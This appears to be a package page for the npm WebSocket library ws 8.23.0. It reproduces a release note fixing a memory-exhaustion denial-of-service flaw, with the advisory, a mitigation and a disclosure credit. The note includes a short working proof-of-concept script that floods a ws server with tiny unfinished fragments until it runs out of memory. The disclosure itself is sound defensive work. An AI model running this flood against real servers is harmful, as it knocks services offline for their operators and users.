ws
8.23.0 · 12 Nov 2026MIT428.4M / weekRepositorynpmAtom feed
8.23.0 is the newest release of 8.x.
In short
2 security1 new
Security
Fixes 1 advisory that affected 8.20.1
- Highws: Memory exhaustion DoS from tiny fragments and data chunksGHSA-96hv-2xvq-fx4p · 15 Jun 2026Fixed in 8.21.0
Release note
Features
Introduced the
maxBufferedChunksandmaxFragmentsoptions (2b2abd4).
Bug fixes
- Security
Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).
A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});The vulnerability was responsibly disclosed and fixed by Nadav Magier.
In vulnerable versions, the issue can be mitigated by lowering the value of themaxPayload option if possible.
A whole project to check? Paste its package.json in the dependency check: every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.